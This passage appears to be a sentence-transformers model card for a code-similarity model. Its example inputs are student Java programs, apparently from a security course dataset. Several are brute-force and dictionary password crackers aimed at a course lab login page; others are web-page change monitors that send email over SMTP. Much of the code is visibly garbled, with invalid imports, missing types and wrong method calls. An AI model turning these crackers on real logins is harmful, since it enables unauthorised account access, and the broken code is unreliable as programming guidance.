                            out.println("Passwd: "+ passwd);
                            out.flush();
                            bfind = true;
                        }
                        out.print();
                  }
                  in.print();
              }catch(Exception e){System.out.println(e.getMessage());}
       }
       
       public String getAnyKey()throws Exception{
		      BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in));
		      String key= stdin.readLine();
	          return key;
	   }
	   
       public static void main (String []args){

              Dictionary dc = new Dictionary();
              System.out.println("\n*******************************************");
              System.out.println("*                                         *");
              System.out.println("*     Dictionary Crack Passwd Program     *");
              System.out.println("*    ---------------------------------    *");
              System.out.println("*          Author:              *");
              System.out.println("*                                         *");
              System.out.println("*******************************************");
              System.out.println("\n  Dictionary Crack Passwd Information: \n");
              System.out.println("--> UserName: ");
              System.out.println("--> Passwd from the dictionary file: "+ dc.fname);
              System.out.println("--> URL: http://sec-crack.cs.rmit.edu./SEC/2/index.php\n");
              System.out.println("==> Press Ctrl+C  stop Crack\n");
              System.out.print("==> Press EnterKey  : ");
			  try{
                  String key = dc.getAnyKey();
              }catch(Exception e){System.out.println(e.getMessage());}
			  dc.readPasswd();
       }
}, source_sentence: import java.io.*;
import java.net.*;
import java.util.*;

public class Watchdog
{
	public static void main(String args[])
	{
		
		String mainLink="http://www.cs.rmit.edu./students/";
		String sender = "@cs.rmit.edu.";
		String recipient = "<webtech@acuneeds.>";
		String hostName = "yallara.cs.rmit.edu.";
		int delay = 86400000;

		try
		{
			int imgSrcIndex, imgSrcEnd;
			String imgLink;
			Vector imageList = new Vector();
			HttpURLConnection imgConnection;
			URL imgURL;

			
			EmailClient email = new EmailClient(sender, recipient, hostName);

			
			URL url=new URL(mainLink);
			HttpURLConnection connection = (HttpURLConnection) url.openConnection();

			BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));

			
			FileWriter fwrite = new FileWriter("local.txt");
			BufferedWriter writefile = new BufferedWriter(fwrite);

			String line=webpage.readLine();

			while (line != null)
			{
				
				writefile.write(line,0,line.length());
				writefile.newLine();

				
				line = line.toLowerCase();
				imgSrcIndex=line.indexOf("src");

				if(imgSrcIndex!=-1)
				{
					
					imgLink = line.substring(imgSrcIndex+3);
					imgSrcIndex=imgLink.indexOf("\"");
					imgLink = imgLink.substring(imgSrcIndex+1);
					imgSrcEnd = imgLink.indexOf("\"");
					imgLink = imgLink.substring(0,imgSrcEnd);

					
					if (imgLink.startsWith("http"))
					{
						imgURL = new URL(imgLink);
						imgConnection = (HttpURLConnection) imgURL.openConnection();
					}
					
					else
					{
						imgURL = new URL(mainLink);
						imgURL = new URL(imgURL, imgLink);
						imgConnection = (HttpURLConnection) imgURL.openConnection();
						imgLink = (imgConnection.getURL()).toString();
					}

					
					imageList.add(new ImageFile(imgLink, imgConnection.getContentLength()));
					imgConnection.disconnect();
				}

				line = webpage.readLine();

			}

			
			writefile.close();
			fwrite.close();
			webpage.close();
			connection.disconnect();

			
			WatchdogThread watchdog = new WatchdogThread(mainLink, imageList, email, delay);
		}

		catch (IOException ioe)
		{
			
			
			System.out.println(ioe);
			System.out.println("Please run program again.");
			System.exit(0);
		}

	}

}

sentences: 




import java.io.IOException;
import java.net.*;

import java.io.*;
import java.util.*;



public class BruteForce

{

   static String strLetter[];

   static URL url = null;
   static URLConnection urlConnection;
   static InputStream urlStream;

   static String strExceptionPassword[];

   static int intExceptionCount = -1;

   static int intNumberOfConnectionAttempts = 0;

   static String username = "";

   static String strLastPasswordTested;



   public static void main (String args[])
   
   {

         
         
      Calendar calStart;
      Calendar calFinish;   
      Date dateStart;
      Date dateFinish;
       lngStart;
       lngFinish;



         
         
      calStart  = new GregorianCalendar();
      dateStart = calStart.getTime();
      lngStart  = dateStart.getTime();          




      System.out.println();
      System.out.println();




         
         
      populateArray();


         
         
         
         

      boolean boolPasswordFound = false;
      boolean boolExceptionPasswordsTestedAgain = false;

      String strPasswd;




      String urlString
            = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";

      int intCounter1 = 0;
      int intCounter2 = 0;
      int intCounter3 = 0;

      int intArrayLength = strLetter.length;




         
         
         
         
         
      strExceptionPassword = new String[5000];



      if (!boolPasswordFound) 
      {


            
            

         intCounter1 = 0;

         while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) )
         {

            boolPasswordFound = true;

            boolPasswordFound 
                   = passwordWasFound(urlString,
                                      strLetter[intCounter1], 
                                      boolPasswordFound);

            intCounter1++;

         }



            
            

         intCounter1 = 0;

         while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) )
         {

            intCounter2 = 0;

            while ( (!boolPasswordFound) && (intCounter2 < intArrayLength) )
            {

               boolPasswordFound = true;

               boolPasswordFound 
                   = passwordWasFound
                          (urlString,
                           strLetter[intCounter1] 
                                  + strLetter[intCounter2], 
                           boolPasswordFound);

               intCounter2++;  

            }


            intCounter1++;

         }




            
            

         intCounter1 = 0;

         while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) )
         {

            intCounter2 = 0;

            while ( (!boolPasswordFound) && (intCounter2 < intArrayLength) )
            {

               intCounter3 = 0;


               while ( (!boolPasswordFound) && (intCounter3 < intArrayLength) )
               {

                  boolPasswordFound = true;


                  boolPasswordFound 
                      = passwordWasFound
                             (urlString,
                              strLetter[intCounter1] 
                                    + strLetter[intCounter2]
                                    + strLetter[intCounter3], 
                              boolPasswordFound);

                  intCounter3++;

               }


               intCounter2++;

            }


            intCounter1++; 

         }




            
            
            
            
            

         intCounter1 = 0;

         while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) )
         {

            boolExceptionPasswordsTestedAgain = true;
            boolPasswordFound = true;

            boolPasswordFound 
                = passwordWasFound(urlString,
                                   strExceptionPassword[intCounter1],
                                   boolPasswordFound);  

            intCounter1++;

         }

      }   



      System.out.println();



         
         
      calFinish  = new GregorianCalendar();
      dateFinish = calFinish.getTime();
      lngFinish  = dateFinish.getTime();      



         
         
      System.out.println();
      System.out.println();


      System.out.println();
      System.out.println("Length of time for processing: " + 
                         ((lngFinish - lngStart) / 1000)   + 
                         " seconds");


      System.out.println();
      System.out.println("Number of connection attempts = " + intNumberOfConnectionAttempts);


      System.out.println();
      System.out.println("Number of exceptions thrown = " + (intExceptionCount + 1));


      if (intExceptionCount >= 0)
      {
         System.out.print("These EXCEPTION passwords WERE ");

         if (boolExceptionPasswordsTestedAgain)
            System.out.print("tested again.");
         else
            System.out.print("NOT tested again.");

         System.out.println();
      }


      System.out.println();


      if (boolPasswordFound) 
      {
         System.out.println("The correct password WAS found - this password is '" + 
                            strLastPasswordTested + "'.");
      } 
      else
      {
         System.out.println("The correct password WAS NOT found.");
      } 
            
      System.out.println();




   }







   static void populateArray()
   
   {

      strLetter = new String[52];


      strLetter[0]  = "a";
      strLetter[1]  = "b";
      strLetter[2]  = "c";
      strLetter[3]  = "d";
      strLetter[4]  = "e";
      strLetter[5]  = "f";
      strLetter[6]  = "g";
      strLetter[7]  = "h";
      strLetter[8]  = "i";
      strLetter[9]  = "j";
      strLetter[10] = "k";
      strLetter[11] = "l";
      strLetter[12] = "m";
      strLetter[13] = "n";
      strLetter[14] = "o";
      strLetter[15] = "p";
      strLetter[16] = "q";
      strLetter[17] = "r";
      strLetter[18] = "s";
      strLetter[19] = "t";
      strLetter[20] = "u";
      strLetter[21] = "v";
      strLetter[22] = "w";
      strLetter[23] = "x";
      strLetter[24] = "y";
      strLetter[25] = "z";
      strLetter[26] = "A";
      strLetter[27] = "B";
      strLetter[28] = "C";
      strLetter[29] = "D";
      strLetter[30] = "E";
      strLetter[31] = "F";
      strLetter[32] = "G";
      strLetter[33] = "H";
      strLetter[34] = "I";
      strLetter[35] = "J";
      strLetter[36] = "K";
      strLetter[37] = "L";
      strLetter[38] = "M";
      strLetter[39] = "N";
      strLetter[40] = "O";
      strLetter[41] = "P";
      strLetter[42] = "Q";
      strLetter[43] = "R";
      strLetter[44] = "S";
      strLetter[45] = "T";
      strLetter[46] = "U";
      strLetter[47] = "V";
      strLetter[48] = "W";
      strLetter[49] = "X";
      strLetter[50] = "Y";
      strLetter[51] = "Z";

   }







   static boolean passwordWasFound(String urlString,
                                   String password,
                                   boolean retVal)
   
   {

      String strEncodeInput = username + ":" + password;
      boolean returnValue = retVal;
      boolean boolExceptionThrown = false;



      try
      {

         strLastPasswordTested = password;
 
         intNumberOfConnectionAttempts++;

         url = new URL(urlString);

         String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes());


         System.out.print("username = " + 
                          username      + 
                          "    "        +
                          "password = " +
                          password);



         HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection();

         urlConnection.setRequestProperty("Authorization", 
                                          " " + encoding);   

         System.out.println("    response  = " + urlConnection.getResponseCode());

         if (urlConnection.getResponseCode() == 401)
         {
            returnValue = false;         
         }

      }

      catch (MalformedURLException m)
      {
         boolExceptionThrown = true;
         returnValue = false;

         System.err.println(m);
         System.out.println("Malformed URL Exception error");
      }

      catch (IOException io)
      {
         boolExceptionThrown = true;
         returnValue = false;

         System.out.println("IOException error");
         System.err.println(io); 
      }

      catch (Exception e)
      {
         boolExceptionThrown = true;
         returnValue = false;

         System.out.println("General exception.....");
         System.err.println(e); 
      }

      finally
      { 
         urlConnection = null;
         url = null; 
      }


      if (boolExceptionThrown)
      {
         intExceptionCount++;
         strExceptionPassword[intExceptionCount] = password;
      }


      return returnValue;

   }

}, import java.Object;
import java.io.*;
import java.String;
import java.util.*;

class Dictionary{

      public static void main(String [] args){
              try
                {
                Date d = new Date();
                String line1="";
                String ps="";
                String file1 = "words.txt";
                String file2 = "index.html";
                String endline="Authorization failed.";
                String [] cmd = new String[4];
                cmd[0] = "wget";
                cmd[1] = "--http-user=";
                cmd[3] = "http://sec-crack.cs.rmit.edu./SEC/2/";

                FileReader fr1 = new FileReader(file1);
                BufferedReader in1 = new BufferedReader(fr1);
                while((line1 = in1.readLine())!=null)
                {
                  try{
                    cmd[2] = connect(line1);
                    Runtime.getRuntime().exec(cmd);
                    if(line1.length()==3)
                      ps = line1;
                    System.out.println(cmd[2]);
                    File f = new File(file2);
                    if(f.exists())
                    {
                    System.out.println("password: " + ps);
                    break;
                    }
                   }
                    catch(IOException ex)
                    {
                        System.out.println("hello1");
                    }

                }
                Date end = new Date();
                System.out.println(d.toString());
                System.out.println(end.toString());
                System.out.println("Seconds: " + (end.getSeconds()-d.getSeconds()));
               }

            catch(IOException e)
            {
              System.out.println("hello,didnt find file.");
            }
      }
    public static String connect(String str1)
            {
                 char data[] = {'-','-','h','t','t','p','-','p','a','s','s','w','d','='};
                 String str = new String(data);
                 return str + str1;
            }

}
, 
import java.io.*;

public class PasswordFile {
    
    private String strFilepath;
    private String strCurrWord;
    private File fWordFile;
    private BufferedReader in;
    
    
    public PasswordFile(String filepath) {
        strFilepath = filepath;
        try {
            fWordFile = new File(strFilepath);
            in = new BufferedReader(new FileReader(fWordFile));
        }
        catch(Exception e)
        {
            System.out.println("Could not open file " + strFilepath);
        }
    }
    
    String getPassword() {
        return strCurrWord;
    }
    
    String getNextPassword() {
        try {
            strCurrWord = in.readLine();
            
            
            
        }
        catch (Exception e)
        {
            
            return null;
        }
                
        return strCurrWord;
    }
    
}
, source_sentence: import java.io.*;
import java.net.*;
import java.net.HttpURLConnection;
import javax.net.*;
import java.security.cert.*;

public class Dictionary
{
	public static void main(String[] args)
	{
		BufferedReader in = null;
		boolean found = true;
		String word = null;
		String cmd = null;
		Runtime run = Runtime.getRuntime();
		Process pro = null;
		BufferedReader inLine = null;



		String str = null;
		URLConnection connection = null;

		try
		{
			FileReader reader = new FileReader("words");
			in = new BufferedReader(reader);
			System.out.println(" cracking....");
			
			{
				found = true;
				word = new String(in.readLine());

				cmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";

				pro = run.exec(cmd);
				inLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));


				if((str=inLine.readLine())!=null)
				{

					while ((str=inLine.readLine())!=null)
					{
						if (str.endsWith("Required"))
						{

							found = false;
						}

					}
				}






				run.gc();
			}
			while (!found);





		}
		catch (FileNotFoundException exc)
		{
			System.out.println(exc);
		}
		catch (IOException exc)
		{
			System.out.println(exc);
		}
        catch (NullPointerException ex)
        {
            System.out.println(word);
        }
		finally
		{
			try
			{
				if (in!= null)
				{
					in.print();
				}
			}
			catch (IOException e) {}
		}
		if (found == true)
			System.out.println("The password is :" + word);
        else
            System.out.println("NOT FOUND!");
	}
}
sentences: 
import java.net.*;
import java.io.*;
import java.misc.*;
import java.io.BufferedInputStream;
import java.awt.*;
import java.awt.event.*;

public class WriteFile
{
   String url;
   String fileName;
   int flag;
   private PrintWriter out2;
   private TextArea response;
   int status;
   int mailFlag;

   public WriteFile (String newUrl, String newFileName, int newFlag)
   {
       url = newUrl;
       fileName = newFileName;
       PrintWriter printW = null;
       FileOutputStream fout;
       flag = newFlag;
       status = 0;
       mailFlag = 0;

       
       File file = new File(fileName);
       file.delete();

       try
       {
          fout = new FileOutputStream(fileName,true);
          printW = new PrintWriter(fout);
       }
       catch (IOException ioe)
       {
          System.out.println("IO Error : " + ioe);
       }


       URL u;
       URLConnection uc;

       try
       {
          u = new URL(url);
          try
          {
             
             uc = u.openConnection();

             InputStream content = (InputStream)uc.getInputStream();
             BufferedReader in = new BufferedReader (new InputStreamReader(content));

             String line;

             
             while ((line = in.readLine()) != null)
             {
                
                printW.println(line);

             }
          }
          catch (Exception e)
          {
             System.out.println("Error: " + e);
          }
       }
       catch (MalformedURLException e)
       {
          System.out.println(url + " is not a parseable URL");
       }
       
       printW.print();


       if(flag == 1)
       {
          
           compareDiff("@.rmit.edu.");
       }
   }

  String loadStream(InputStream in) throws IOException
  {
        int ptr = 0;
        in = new BufferedInputStream(in);
        StringBuffer buffer = new StringBuffer();

        while( (ptr = in.next()) != -1 )
        {
            status++;
            
            buffer.append((char)ptr);
            mailFlag++;
            
        }
        return buffer.toString();
   }

    public void compareDiff(String emailAdd)
    {
       String cmds = "diff test1.txt test2.txt";
       PrintWriter printW2 = null;
       FileOutputStream fout2;
       
       File file = new File("diff.txt");
       file.delete();
       String ;

       try
       {
          fout2 = new FileOutputStream("diff.txt",true);
          printW2 = new PrintWriter(fout2);
       }
       catch (IOException ioe)
       {
          System.out.println("IO Error : " + ioe);
       }

       try
       {


          
          Process ps = Runtime.getRuntime().exec(cmds);
          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));

          printW2.println(loadStream(ps.getInputStream())+"\n");
          printW2.print();


          if(mailFlag != 0)
          {
             FileReader fRead2;
             BufferedReader buf2;

             try
             {
                fRead2 = new FileReader("diff.txt");
                buf2 = new BufferedReader(fRead2);
                String line2;
                int i=0;

                line = new String("  some changes  the web  as followed: \n");
                
                Socket s = new Socket("wombat.cs.rmit.edu.", 25);
                out2 = new PrintWriter(s.getOutputStream());

                send(null);
                send("HELO cs.rmit.edu.");
                send("MAIL FROM: @.rmit.edu.");
                
                send("RCPT : @.rmit.edu.");
                send("DATA");
                

                while( (line2 = buf2.readLine()) != null)
                {
                   
 line= new String(""+line2+"\n");
                   
                   

                }
                
                
                
                out2.print();
                send(".");
                s.print();
             }
             catch(FileNotFoundException e)
             {
                System.out.println("File not found");
             }
             catch(IOException ioe)
             {
                System.out.println("IO Error " + ioe);
             }
          }

          System.out.println(loadStream(ps.getInputStream()));
          
          System.err.print(loadStream(ps.getErrorStream()));
        }
        catch(IOException ioe)
        {
            ioe.printStackTrace();
        }
    }

    public void send(String s) throws IOException
    {
    	response = new TextArea();
      	if(s != null)
      	{
            response.append(s + "\n");
            out2.println(s);
	    out2.flush();
	}
    }

   public int getStatus()
   {
      return status;
   }
}, import java.io.*;
import java.net.*;
import java.text.*;
import java.util.*;

class Dictionary {

    private String password="";

    private int num=401;


    public static void main(String[] args) {


      Dictionary URLcon;

      int length = 0;

      String passwd="";

       int t0,t1;

      String line ="";
      
      if (args.length == 0) {
      	
      System.err.println (
      		
      		"Usage : java BruteForce <username>");
      return;
      	
      }
      
      String username = args[0];
      
      
      t0=System.currentTimeMillis();
      
      System.out.println ("  " + new Date());
      System.out.println ("Using Dictionary method  attack "+username+"'s password.  Please waiting.......");

      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));

           while ((passwd=in.readLine())!=null) {

           	 URLcon = new Dictionary (passwd,username);

             if ((URLcon.num)!=401) {

             	t1=System.currentTimeMillis();

                System.out.println("The password: "+ passwd);

             	double dt =t1-t0;

             	System.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");
                
                System.out.println ("Finish  " + new Date());
                
             	return;

             }


           	}

      }catch (FileNotFoundException e){
      	System.out.println(e);
      }catch (IOException e){
      	System.out.println(e);
      }


       System.out.println(" not find the password");


}

   public  Dictionary  (String password,String username) {

  	  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;

      
      try {

        String userPassword = username+":"+password ;

        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());

        URL url = new URL (urlString);

        HttpURLConnection uc = (HttpURLConnection) url.openConnection();

        uc.setRequestProperty ("Authorization", " " + encoding);

         url = uc.getResponseCode();


       }
        catch(MalformedURLException e){
       	  System.out.println(e);
       }catch(IOException e){
          System.out.println(e);
       }


   }
}, import java.net.*; 
import java.io.*; 
import java.util.regex.*;
import java.util.Date;
import java.util.*;
import java.text.*; 




public class WatchDog { 
  public static BufferedReader in;
  

  public static int LIMITINMINUTES=60*24;
  public static int TIMELIMIT=LIMITINMINUTES*1000*60;
  public static void main(String[] args) throws Exception { 
    
    String watchedPage = "http://www.cs.rmit.edu./students/";
    String currentPage = "";  
    
    
    System.out.println(" stop the program, press \"Alt + C\"");
    
    boolean loggedout=false;
    while (!loggedout){
      
      currentPage="";
      
      
      Date date = new Date();
       startTime=date.getTime();
      
      
      URL cs = new URL(watchedPage); 
      HttpURLConnection connection;
      URLConnection csc = cs.openConnection();      
      try {
	BufferedReader in = new BufferedReader(new InputStreamReader(csc.getInputStream())); 
	String inputLine; 
	
	while ((inputLine = in.readLine()) != null) {
	  currentPage = currentPage+inputLine;
	}
	
      }
      catch (IOException s) {    
      }
      finally {
	while(in!=null)
          in.next();
      }
      
      String lastPage=readData();
      if (lastPage.trim().equals(currentPage.trim())) {
	System.out.println("Pages match, nothing  email.");
      }
      else {
	
	
	String checkCurrentPage = currentPage.trim();
	String checkLastPage = lastPage.trim();
	int iterations;
	
	boolean lastLongestString;
	if (checkCurrentPage.length()<checkLastPage.length()) {
          iterations = checkCurrentPage.length();
	  lastLongestString = true;
	}
	else {
          iterations = checkLastPage.length();
	  lastLongestString = false;
	  
	}
	String additions = "Here  the additions  the : \n";
	boolean add=false;
	String subtractions = "Here  the parts removed from the : \n";
	boolean sub=false;
	for (int count=0; count<iterations; count++) {
          
	  if (checkLastPage.length()>count && checkCurrentPage.length()>count){
	  
            if (checkLastPage.charAt(count)!=(checkCurrentPage.charAt(count))) {
	      
	      
	      if (count<20){
		additions = "Sorry changes   together  distinguish additions and subtractions  . Here is where  : "+ checkCurrentPage.substring(count, checkCurrentPage.length());
		count = iterations;
	      }
	      else {
		
		
		checkCurrentPage= checkCurrentPage.substring(count, checkCurrentPage.length());
		checkLastPage=checkLastPage.substring(count, checkLastPage.length());
		iterations=iterations-count;
		count=0;

		
		
		
		String regexAdd="";
		if (checkLastPage.length()<20){
		  regexAdd=checkLastPage.substring(count, checkLastPage.length());
		}
		else {	  
		  regexAdd=checkLastPage.substring(0,19);
		}
		String [] changes=checkCurrentPage.split(regexAdd, 2);
		int changeslength=changes.length;
		
		if (changeslength>1){
		  
		  add=true;
		  additions = additions + changes[0];	  
		  
		  
		  if (changeslength>1){
		    checkCurrentPage=regexAdd+changes[1];
		  }
		  else {
		    if (lastLongestString==true) 
	              count=iterations;
		  }  
		}
		else { 
	  		  
		  
		  
		  String regexSub="";
		  if (checkCurrentPage.length()<20){
		    regexSub=checkCurrentPage.substring(count, checkCurrentPage.length());
		  }
		  else {	  
		    regexSub=checkCurrentPage.substring(0,19);
		  }
		  String [] changesSub=checkLastPage.split(regexSub, 2);
		  int changeslengthSub=changesSub.length;
		  
		  if (changeslengthSub>1){
		    
		    sub=true;
		    subtractions = subtractions + changesSub[0];	  
		    
		    
		    if (changeslengthSub>1){
		      checkLastPage=regexSub+changesSub[1];
		    }
		    else {
		      if (lastLongestString==false) 
		      count=iterations;
		    }
		    
		    
		  }
		}
	      }

            } 
	  } 
	} 
	
	
	String emailBody="Changes   have been . \n"+additions+subtractions;

	
	sendEmail(emailBody);
      }

      
      writeData(currentPage);
      
      
      wait24(startTime);
    } 
  } 
  
  
  private static void wait24( int startTime) {
     boolean waiting=true;
     while(waiting){
       Date endDate = new Date();
        endTime=endDate.getTime();
       
       
       if (endTime>(TIMELIMIT+startTime)){
         
          waiting=false;
       }	
     }
  } 
     
  
  public static String readData() {
    String data;
    String lastPage="";
    try {
      BufferedReader in = new BufferedReader(new FileReader("LastVisitedPage.html"));
      while ((data = in.readLine())!=null) {
        lastPage= lastPage + data +"\n";
      }
      
    }
    catch (FileNotFoundException e1) {
      System.exit(0);
    }
    catch (IOException e2) {
      System.out.println("IO Exception, exiting");
      System.exit(0);
    }	    
    finally {
      try {
	if (null!=in) {
        in.next();
	}
    }
    catch (IOException e3) {}
    }
    return lastPage;
  }
  
  
  public static void writeData(String currentPage) {
    PrintWriter out;
      try {
	out = new PrintWriter (new BufferedWriter(new FileWriter("LastVisitedPage.html")));
	out.println(currentPage);
	
	
      }
      catch (IllegalArgumentException e1) {
	System.out.println ("Sorry, 't write  file. None of changes in this session have been saved");
	System.exit(0);
      }
      catch (IOException e2) {
	System.out.println ("Sorry, 't write  file. None of changes in this session have been saved");
	System.exit(0);
	}
      finally {}    
  }  

 
 
 
  public static void sendEmail(String emailBody){
    
    Socket smtpSocket =null;
    DataOutputStream os = null;
    InputStreamReader is = null ;

    Date dDate = new Date();
    DateFormat dFormat = DateFormat.getDateInstance(DateFormat.FULL,Locale.US);

    try{ 
      smtpSocket = new Socket(".rmit.edu.", 25);
      os = new DataOutputStream(smtpSocket.getOutputStream());
      is = new InputStreamReader(smtpSocket.getInputStream());
      BufferedReader  = new BufferedReader(is);

      if(smtpSocket != null && os != null && is != null){ 
      
	try {   
	  os.writeBytes("HELO .rmit.edu.\r\n");
	  
	  
	  os.writeBytes("MAIL From: <@.rmit.edu.>\r\n");

	  
	  os.writeBytes("RCPT : <@cs.rmit.edu.>\r\n");

	  
	  
	  os.writeBytes("DATA\r\n");

	  os.writeBytes("X-Mailer: Via Java\r\n");
	  os.writeBytes("DATE: " + dFormat.format(dDate) + "\r\n");
	  os.writeBytes("From:  <@cs.rmit.edu.>\r\n");
	  os.writeBytes(":   <@cs.rmit.edu.>\r\n");

	  os.writeBytes("Subject:  updated\r\n");
	  os.writeBytes(emailBody + "\r\n");
	  os.writeBytes("\r\n.\r\n");
	  os.writeBytes("QUIT\r\n");

	  
	  
	  String responseline;
	  while((responseline=is.readLine())!=null){  
            
            if(responseline.indexOf("Ok") != -1) {
            break;
            }
	  }
	}
	catch(Exception e){  
	  System.out.println("Cannot send email as  error occurred.");  
	}
      }
      else 
	System.out.println("smtpSocket  another variable is null!");
    } 
    catch(Exception e){ 
      System.out.println("Host unknown"); 
    }
  } 
   
} 



pipeline_tag: sentence-similarity
library_name: sentence-transformers
Likes: 1 | All-time downloads: 62
Created: 2025-06-11 11:30:22